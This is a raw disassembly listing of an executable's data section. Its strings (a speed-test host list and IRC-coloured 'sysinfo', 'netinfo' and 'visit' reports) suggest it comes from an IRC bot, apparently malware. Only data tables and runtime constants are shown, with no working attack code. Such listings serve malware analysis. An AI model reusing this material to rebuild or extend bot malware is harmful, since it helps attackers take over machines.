aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A030	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A10C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A140	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A184	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A194	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1A4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A200	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A21C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A258	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A274	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 5B5927CDh		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset dword_545350	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset dword_544450	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043375Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A48o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384B8o
		dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438324o
		dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
